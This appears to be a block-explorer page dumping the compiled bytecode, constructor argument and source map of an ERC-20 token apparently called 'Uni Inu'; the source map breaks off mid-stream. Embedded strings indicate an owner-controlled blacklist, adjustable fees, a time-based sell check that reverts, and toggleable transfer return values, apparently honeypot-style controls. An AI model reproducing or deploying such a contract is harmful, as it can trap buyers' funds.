6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a3257610a326129c2565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a3257610a326129c2565b8082028115828204841417610a3257610a326129c2565b5f82612a4157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122001c0d8ce9e2efbeb51045eb9dc50fcc52af7e9c951adcf728030df9ae8b29e8c64736f6c634300081a0033000000000000000000000000bdb003571e4481d778040fefe858bd349bd99fec
Deployed Bytecode
0x6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109a6578063f6d7eade146109c5578063f9214005146109e4578063ff89757014610a03575f80fd5b8063ea2f0b371461093d578063ecbde40c1461095c578063efbe389a14610987575f80fd5b8063bc0ad5a314610848578063c2b7bbb614610868578063c49b9a8014610887578063dd62ed3e146108a6578063e2255e29146108ea578063e7e6451914610909575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107c0578063a457c2d7146107df578063a8be9a58146107fe578063a9059cbb14610829575f80fd5b806395d89b41146103015780639b26c923146107895780639ba5e4d51461079e575f80fd5b8063715018a61461069e57806373cafdc2146106b2578063786564c4146106d457806388f82020146106f35780638b7afe2e1461072a5780638da5cb5b14610759575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105e75780635a1afc561461061e57806370a082311461063d578063713898cd1461065c575f80fd5b80634a74bb021461058957806351ecfeae146105a957806352390c02146105c8575f80fd5b80633ccfd60b146104c55780634359a871146104d9578063437823ec1461050d5780634549b0391461052c5780634a17beb11461054b5780634a49ac4c1461056a575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc146104495780633685d41914610468578063370f0a601461048757806339509351146104a6575f80fd5b80632d838119146103fa578063313ce5671461041957806331b72ff014610434575f80fd5b806306fdde0314610301578063095ea7b31461033f57806318160ddd1461036e5780631cdd3be31461038c57806323b872dd146103ba578063275d53ce146103d9575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b506040805180820182526007815266556e6920496e7560c81b60208201529051610336919061274b565b60405180910390f35b34801561034a575f80fd5b5061035e61035936600461279b565b610a22565b6040519015158152602001610336565b348015610379575f80fd5b50600c545b604051908152602001610336565b348015610397575f80fd5b5061035e6103a63660046127c3565b600a6020525f908152604090205460ff1681565b3480156103c5575f80fd5b5061035e6103d43660046127dc565b610a38565b3480156103e4575f80fd5b506103f86103f3366004612825565b610aab565b005b348015610405575f80fd5b5061037e61041436600461283e565b610afb565b348015610424575f80fd5b5060405160098152602001610336565b34801561043f575f80fd5b5061037e600f5481565b348015610454575f80fd5b506103f861046336600461283e565b610b65565b348015610473575f80fd5b506103f86104823660046127c3565b610b93565b348015610492575f80fd5b506103f86104a13660046127c3565b610d37565b3480156104b1575f80fd5b5061035e6104c036600461279b565b610e65565b3480156104d0575f80fd5b506103f8610e9b565b3480156104e4575f80fd5b5061037e6104f33660046127c3565b6001600160a01b03165f9081526008602052604090205490565b348015610518575f80fd5b506103f86105273660046127c3565b610f4d565b348015610537575f80fd5b5061037e610546366004612855565b610f99565b348015610556575f80fd5b506103f861056536600461287f565b611020565b348015610575575f80fd5b506103f86105843660046127c3565b6110b3565b348015610594575f80fd5b5060255461035e90600160b81b900460ff1681565b3480156105b4575f80fd5b506103f86105c33660046128f0565b6110fc565b3480156105d3575f80fd5b506103f86105e23660046127c3565b611139565b3480156105f2575f80fd5b5061035e6106013660046127c3565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610629575f80fd5b506103f861063836600461283e565b611286565b348015610648575f80fd5b5061037e6106573660046127c3565b6112b4565b348015610667575f80fd5b50601b54601c54601d54601e5461067e9392919084565b604080519485526020850193909352918301526060820152608001610336565b3480156106a9575f80fd5b506103f861130a565b3480156106bd575f80fd5b50601754601854601954601a5461067e9392919084565b3480156106df575f80fd5b506103f86106ee3660046128f0565b61137b565b3480156106fe575f80fd5b5061035e61070d3660046127c3565b6001600160a01b03165f9081526007602052604090205460ff1690565b348015610735575f80fd5b50601554601654610744919082565b60408051928352602083019190915201610336565b348015610764575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610336565b348015610794575f80fd5b5061037e600e5481565b3480156107a9575f80fd5b5060115460125460135460145461067e9392919084565b3480156107cb575f80fd5b5061035e6107da36600461291f565b6113b8565b3480156107ea575f80fd5b5061035e6107f936600461279b565b611427565b348015610809575f80fd5b5061037e6108183660046127c3565b60086020525f908152604090205481565b348015610834575f80fd5b5061035e61084336600461279b565b611474565b348015610853575f80fd5b5060255461035e90600160a01b900460ff1681565b348015610873575f80fd5b506103f86108823660046127c3565b611494565b348015610892575f80fd5b506103f86108a1366004612825565b61154f565b3480156108b1575f80fd5b5061037e6108c0366004612951565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b3480156108f5575f80fd5b506103f8610904366004612825565b6115d0565b348015610914575f80fd5b5061037e6109233660046127c3565b6001600160a01b03165f9081526009602052604090205490565b348015610948575f80fd5b506103f86109573660046127c3565b611617565b348015610967575f80fd5b5061037e6109763660046127c3565b60096020525f908152604090205481565b348015610992575f80fd5b50602354610771906001600160a01b031681565b3480156109b1575f80fd5b506103f86109c03660046127c3565b611660565b3480156109d0575f80fd5b50602454610771906001600160a01b031681565b3480156109ef575f80fd5b50601054610771906001600160a01b031681565b348015610a0e575f80fd5b506103f8610a1d36600461287f565b611747565b5f610a2e3384846117d5565b5060015b92915050565b5f610a448484846118f8565b610a958433610a9085604051806060016040528060288152602001612a47602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b69565b6117d5565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610add5760405162461bcd60e51b8152600401610ad490612979565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610ad4565b5090565b5f546001600160a01b03163314610b8e5760405162461bcd60e51b8152600401610ad490612979565b600f55565b5f546001600160a01b03163314610bbc5760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381165f9081526007602052604090205460ff16610c235760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610ad4565b5f5b600b54811015610d3357816001600160a01b0316600b8281548110610c4c57610c4c6129ae565b5f918252602090912001546001600160a01b031603610d2b57600b8054610c75906001906129d6565b81548110610c8557610c856129ae565b5f91825260209091200154600b80546001600160a01b039092169183908110610cb057610cb06129ae565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d0757610d076129e9565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c25565b5050565b5f546001600160a01b03163314610d605760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381165f9081526007602052604090205460ff16610e36576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610deb576001600160a01b0381165f90815260036020526040902054610dd290610afb565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d339082611b94565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a2e918590610a909086906129fd565b5f546001600160a01b03163314610ec45760405162461bcd60e51b8152600401610ad490612979565b60405147905f90339083908381818185875af1925050503d805f8114610f05576040519150601f19603f3d011682016040523d82523d5f602084013e610f0a565b606091505b5050905080610d335760405162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b6044820152606401610ad4565b5f546001600160a01b03163314610f765760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610fec5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610ad4565b81611007575f610ffd846001611ba8565b519150610a329050565b5f611013846001611ba8565b602001519150610a329050565b5f546001600160a01b031633146110495760405162461bcd60e51b8152600401610ad490612979565b5f5b818110156110ae57600160065f85858581811061106a5761106a6129ae565b905060200201602081019061107f91906127c3565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905560010161104b565b505050565b5f546001600160a01b031633146110dc5760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146111255760405162461bcd60e51b8152600401610ad490612979565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111625760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381165f9081526007602052604090205460ff16156111ca5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610ad4565b6001600160a01b0381165f9081526003602052604090205415611221576001600160a01b0381165f9081526003602052604090205461120890610afb565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112af5760405162461bcd60e51b8152600401610ad490612979565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff16156112ef57506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146113335760405162461bcd60e51b8152600401610ad490612979565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146113a45760405162461bcd60e51b8152600401610ad490612979565b601b93909355601c91909155601d55601e55565b5f835f036113c757505f610aa4565b5f6113d285426129d6565b9050600f5481036113e7576001915050610aa4565b805f0361140c576010546001600160a01b0384811691161461140c575f915050610aa4565b83811161141d576001915050610aa4565b505f949350505050565b5f610a2e3384610a9085604051806060016040528060258152602001612a6f60259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b69565b5f6114803384846118f8565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114bd5760405162461bcd60e51b8152600401610ad490612979565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b031633146115785760405162461bcd60e51b8152600401610ad490612979565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906115c590831515815260200190565b60405180910390a150565b5f546001600160a01b031633146115f95760405162461bcd60e51b8152600401610ad490612979565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146116405760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b031633146116895760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381166116ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ad4565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117705760405162461bcd60e51b8152600401610ad490612979565b5f5b818110156110ae576001600a5f858585818110611791576117916129ae565b90506020020160208101906117a691906127c3565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611772565b6001600160a01b0383166118375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ad4565b6001600160a01b0382166118985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ad4565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561193857506001600160a01b0382165f908152600a602052604090205460ff16155b6119845760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610ad4565b6001600160a01b0383166119e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ad4565b6001600160a01b038216611a4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ad4565b5f8111611aab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610ad4565b611ab4836112b4565b811115611b1c5760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610ad4565b6001600160a01b0383165f908152600660205260409020546110ae9084908490849060ff1680611b6357506001600160a01b0386165f9081526006602052604090205460ff165b15611bf0565b5f8184841115611b8c5760405162461bcd60e51b8152600401610ad4919061274b565b505050900390565b5f610aa4836001600160a01b03841661219e565b611bb06126fc565b611bba8383612281565b9050611bcf818484611bca61235f565b612380565b60a08701526080860152606085015260408401526020830152815292915050565b8015611db7576023546001600160a01b0390811690851603611cc2575f546001600160a01b03858116911614801590611c3657505f546001600160a01b03848116911614155b8015611c4c57506001600160a01b038316600114155b15611c8a576001600160a01b0383165f908152600860205260408120549003611c8a576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611e2f565b5f546001600160a01b03858116911614801590611cec57505f546001600160a01b03848116911614155b8015611d0257506001600160a01b038316600114155b15611d7f576001600160a01b0384165f90815260086020526040812054611d2c90600e54876113b8565b905080611d635760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610ad4565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611e2f565b6001600160a01b0384165f9081526006602052604090205460ff1615611df357601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611e2f57601080546001600160a01b0319166001600160a01b0385161790555b5f611e3a8383611ba8565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e7c57506001600160a01b0384165f9081526007602052604090205460ff16155b15611ec1576001600160a01b0385165f90815260046020526040902054611ea49084906129d6565b6001600160a01b0386165f90815260046020526040902055611ffe565b6001600160a01b0385165f9081526007602052604090205460ff16158015611f0057506001600160a01b0384165f9081526007602052604090205460ff165b15611f495760c08101516001600160a01b0385165f90815260046020526040902054611f2c91906129fd565b6001600160a01b0385165f90815260046020526040902055611ffe565b6001600160a01b0385165f9081526007602052604090205460ff168015611f8757506001600160a01b0384165f9081526007602052604090205460ff165b15611ffe576001600160a01b0385165f90815260046020526040902054611faf9084906129d6565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611fe591906129fd565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f9081526003602052604090205461202291906129d6565b6001600160a01b038087165f908152600360209081526040808320949094558401519187168152919091205461205891906129fd565b6001600160a01b0385165f90815260036020526040902055811561211e5761208881604001518260e001516123f7565b61209b8160600151826101000151612425565b6120ae81608001518261012001516124c0565b6120c18160a001518261014001516124ed565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610120015184610100015161210c91906129fd565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161216791815260200190565b60405180910390a361217a60018561252c565b50612184856112b4565b5f0361219757612195600186611b94565b505b5050505050565b5f8181526001830160205260408120548015612278575f6121c06001836129d6565b85549091505f906121d3906001906129d6565b9050818114612232575f865f0182815481106121f1576121f16129ae565b905f5260205f200154905080875f018481548110612211576122116129ae565b5f918252602080832090910192909255918252600188019052604090208390555b8554869080612243576122436129e9565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a32565b5f915050610a32565b6122896126fc565b8161229a5760c08101839052610a32565b601f546064906122aa9085612a10565b6122b49190612a27565b60e08201526020546064906122c99085612a10565b6122d39190612a27565b6101008201526021546064906122e99085612a10565b6122f39190612a27565b6101208201526022546064906123099085612a10565b6123139190612a27565b610140820181905261012082015161010083015160e084015161233690876129d6565b61234091906129d6565b61234a91906129d6565b61235491906129d6565b60c082015292915050565b5f805f61236a612540565b90925090506123798183612a27565b9250505090565b506001825f80808080876123a157508493505f9250829150819050806123ea565b5050505060e08601516101008701516101208801516101408901518082846123c9878a6129d6565b6123d391906129d6565b6123dd91906129d6565b6123e791906129d6565b94505b9499939850945094509450565b81600d5461240591906129d6565b600d55601180548291905f9061241c9084906129fd565b90915550505050565b8060155f015f82825461243891906129fd565b9091555050601280548291905f906124519084906129fd565b9091555050305f908152600360205260409020546124709083906129fd565b305f9081526003602090815260408083209390935560079052205460ff1615610d3357305f908152600460205260409020546124ad9082906129fd565b305f908152600460205260409020555050565b8060156001015f8282546124d491906129fd565b9091555050601380548291905f906124519084906129fd565b8060116003015f82825461250191906129fd565b9091555050600c546125149082906129d6565b600c55600d546125259083906129d6565b600d555050565b5f610aa4836001600160a01b0384166126b0565b600d54600c545f918291825b600b5481101561267f578260035f600b848154811061256d5761256d6129ae565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806125d557508160045f600b84815481106125af576125af6129ae565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156125eb57600d54600c54945094505050509091565b60035f600b8381548110612601576126016129ae565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461262f90846129d6565b925060045f600b8381548110612647576126476129ae565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461267590836129d6565b915060010161254c565b50600c54600d546126909190612a27565b8210156126a757600d54600c549350935050509091565b90939092509050565b5f8181526001830160205260408120546126f557508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a32565b505f610a32565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114612796575f80fd5b919050565b5f80604083850312156127ac575f80fd5b6127b583612780565b946020939093013593505050565b5f602082840312156127d3575f80fd5b610aa482612780565b5f805f606084860312156127ee575f80fd5b6127f784612780565b925061280560208501612780565b929592945050506040919091013590565b80358015158114612796575f80fd5b5f60208284031215612835575f80fd5b610aa482612816565b5f6020828403121561284e575f80fd5b5035919050565b5f8060408385031215612866575f80fd5b8235915061287660208401612816565b90509250929050565b5f8060208385031215612890575f80fd5b823567ffffffffffffffff8111156128a6575f80fd5b8301601f810185136128b6575f80fd5b803567ffffffffffffffff8111156128cc575f80fd5b8560208260051b84010111156128e0575f80fd5b6020919091019590945092505050565b5f805f8060808587031215612903575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60608486031215612931575f80fd5b833592506020840135915061294860408501612780565b90509250925092565b5f8060408385031215612962575f80fd5b61296b83612780565b915061287660208401612780565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a3257610a326129c2565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a3257610a326129c2565b8082028115828204841417610a3257610a326129c2565b5f82612a4157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122001c0d8ce9e2efbeb51045eb9dc50fcc52af7e9c951adcf728030df9ae8b29e8c64736f6c634300081a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000bdb003571e4481d778040fefe858bd349bd99fec
-----Decoded View---------------
Arg [0] : marketWallet_ (address): 0xBDB003571e4481d778040FEFe858BD349bD99fEc
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000bdb003571e4481d778040fefe858bd349bd99fec
Deployed Bytecode Sourcemap
11666:22782:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20095:83;;;;;;;;;;-1:-1:-1;20165:5:0;;;;;;;;;;;-1:-1:-1;;;20165:5:0;;;;20095:83;;;;20165:5;20095:83;:::i;:::-;;;;;;;;21465:193;;;;;;;;;;-1:-1:-1;21465:193:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;21465:193:0;920:187:1;20372:95:0;;;;;;;;;;-1:-1:-1;20452:7:0;;20372:95;;;1258:25:1;;;1246:2;1231:18;20372:95:0;1112:177:1;12299:46:0;;;;;;;;;;-1:-1:-1;12299:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;21666:455;;;;;;;;;;-1:-1:-1;21666:455:0;;;;;:::i;:::-;;:::i;21170:95::-;;;;;;;;;;-1:-1:-1;21170:95:0;;;;;:::i;:::-;;:::i;:::-;;23467:262;;;;;;;;;;-1:-1:-1;23467:262:0;;;;;:::i;:::-;;:::i;20281:83::-;;;;;;;;;;-1:-1:-1;20281:83:0;;12423:1;2587:36:1;;2575:2;2560:18;20281:83:0;2445:184:1;12719:42:0;;;;;;;;;;;;;;;;19845:112;;;;;;;;;;-1:-1:-1;19845:112:0;;;;;:::i;:::-;;:::i;24504:473::-;;;;;;;;;;-1:-1:-1;24504:473:0;;;;;:::i;:::-;;:::i;24077:419::-;;;;;;;;;;-1:-1:-1;24077:419:0;;;;;:::i;:::-;;:::i;22129:297::-;;;;;;;;;;-1:-1:-1;22129:297:0;;;;;:::i;:::-;;:::i;33991:217::-;;;;;;;;;;;;;:::i;18373:164::-;;;;;;;;;;-1:-1:-1;18373:164:0;;;;;:::i;:::-;-1:-1:-1;;;;;18501:28:0;18469:7;18501:28;;;:20;:28;;;;;;;18373:164;24985:111;;;;;;;;;;-1:-1:-1;24985:111:0;;;;;:::i;:::-;;:::i;22970:489::-;;;;;;;;;;-1:-1:-1;22970:489:0;;;;;:::i;:::-;;:::i;20964:198::-;;;;;;;;;;-1:-1:-1;20964:198:0;;;;;:::i;:::-;;:::i;25781:115::-;;;;;;;;;;-1:-1:-1;25781:115:0;;;;;:::i;:::-;;:::i;14131:40::-;;;;;;;;;;-1:-1:-1;14131:40:0;;;;-1:-1:-1;;;14131:40:0;;;;;;18681:296;;;;;;;;;;-1:-1:-1;18681:296:0;;;;;:::i;:::-;;:::i;23737:332::-;;;;;;;;;;-1:-1:-1;23737:332:0;;;;;:::i;:::-;;:::i;25470:124::-;;;;;;;;;;-1:-1:-1;25470:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;25559:27:0;25535:4;25559:27;;;:18;:27;;;;;;;;;25470:124;19965:122;;;;;;;;;;-1:-1:-1;19965:122:0;;;;;:::i;:::-;;:::i;20475:177::-;;;;;;;;;;-1:-1:-1;20475:177:0;;;;;:::i;:::-;;:::i;13380:104::-;;;;;;;;;;-1:-1:-1;13380:104:0;;;;;;;;;;;;;;;;;;;4371:25:1;;;4427:2;4412:18;;4405:34;;;;4455:18;;;4448:34;4513:2;4498:18;;4491:34;4358:3;4343:19;13380:104:0;4140:391:1;8282:148:0;;;;;;;;;;;;;:::i;13268:103::-;;;;;;;;;;-1:-1:-1;13268:103:0;;;;;;;;;;;;;;;18985:301;;;;;;;;;;-1:-1:-1;18985:301:0;;;;;:::i;:::-;;:::i;22842:120::-;;;;;;;;;;-1:-1:-1;22842:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;22934:20:0;22910:4;22934:20;;;:11;:20;;;;;;;;;22842:120;13228:31;;;;;;;;;;-1:-1:-1;13228:31:0;;;;;;;;;;;;;4710:25:1;;;4766:2;4751:18;;4744:34;;;;4683:18;13228:31:0;4536:248:1;8059:87:0;;;;;;;;;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;8132:6:0;8059:87;;;-1:-1:-1;;;;;4953:32:1;;;4935:51;;4923:2;4908:18;8059:87:0;4789:203:1;12680:32:0;;;;;;;;;;;;;;;;12947:36;;;;;;;;;;-1:-1:-1;12947:36:0;;;;;;;;;;;;;;;19294:543;;;;;;;;;;-1:-1:-1;19294:543:0;;;;;:::i;:::-;;:::i;22434:400::-;;;;;;;;;;-1:-1:-1;22434:400:0;;;;;:::i;:::-;;:::i;12180:55::-;;;;;;;;;;-1:-1:-1;12180:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;20660:202;;;;;;;;;;-1:-1:-1;20660:202:0;;;;;:::i;:::-;;:::i;14030:26::-;;;;;;;;;;-1:-1:-1;14030:26:0;;;;-1:-1:-1;;;14030:26:0;;;;;;25222:240;;;;;;;;;;-1:-1:-1;25222:240:0;;;;;:::i;:::-;;:::i;25602:171::-;;;;;;;;;;-1:-1:-1;25602:171:0;;;;;:::i;:::-;;:::i;21273:184::-;;;;;;;;;;-1:-1:-1;21273:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;21422:18:0;;;21390:7;21422:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;21273:184;20870:86;;;;;;;;;;-1:-1:-1;20870:86:0;;;;;:::i;:::-;;:::i;18545:128::-;;;;;;;;;;-1:-1:-1;18545:128:0;;;;;:::i;:::-;-1:-1:-1;;;;;18638:27:0;18611:7;18638:27;;;:15;:27;;;;;;;18545:128;25104:110;;;;;;;;;;-1:-1:-1;25104:110:0;;;;;:::i;:::-;;:::i;12242:50::-;;;;;;;;;;-1:-1:-1;12242:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;13883:30;;;;;;;;;;-1:-1:-1;13883:30:0;;;;-1:-1:-1;;;;;13883:30:0;;;8438:281;;;;;;;;;;-1:-1:-1;8438:281:0;;;;;:::i;:::-;;:::i;13920:66::-;;;;;;;;;;-1:-1:-1;13920:66:0;;;;-1:-1:-1;;;;;13920:66:0;;;12770:26;;;;;;;;;;-1:-1:-1;12770:26:0;;;;-1:-1:-1;;;;;12770:26:0;;;25904:196;;;;;;;;;;-1:-1:-1;25904:196:0;;;;;:::i;:::-;;:::i;21465:193::-;21567:4;21589:39;3550:10;21612:7;21621:6;21589:8;:39::i;:::-;-1:-1:-1;21646:4:0;21465:193;;;;;:::o;21666:455::-;21798:4;21815:36;21825:6;21833:9;21844:6;21815:9;:36::i;:::-;21862:220;21885:6;3550:10;21933:138;21989:6;21933:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21933:19:0;;;;;;:11;:19;;;;;;;;3550:10;21933:33;;;;;;;;;;:37;:138::i;:::-;21862:8;:220::i;:::-;-1:-1:-1;22100:13:0;;-1:-1:-1;;;22100:13:0;;;;21666:455;;;;;;:::o;21170:95::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;;;;;;;;;21234:13:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;21234:23:0::1;-1:-1:-1::0;;;;21234:23:0;;::::1;::::0;;;::::1;::::0;;21170:95::o;23467:262::-;23561:7;23619;;23608;:18;;23586:110;;;;-1:-1:-1;;;23586:110:0;;6250:2:1;23586:110:0;;;6232:21:1;6289:2;6269:18;;;6262:30;6328:34;6308:18;;;6301:62;-1:-1:-1;;;6379:18:1;;;6372:40;6429:19;;23586:110:0;6048:406:1;23586:110:0;-1:-1:-1;23714:7:0;23467:262::o;19845:112::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;19917:17:::1;:32:::0;19845:112::o;24504:473::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;24584:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;24576:56;;;::::0;-1:-1:-1;;;24576:56:0;;6661:2:1;24576:56:0::1;::::0;::::1;6643:21:1::0;6700:2;6680:18;;;6673:30;6739:25;6719:18;;;6712:53;6782:18;;24576:56:0::1;6459:347:1::0;24576:56:0::1;24648:9;24643:327;24667:9;:16:::0;24663:20;:::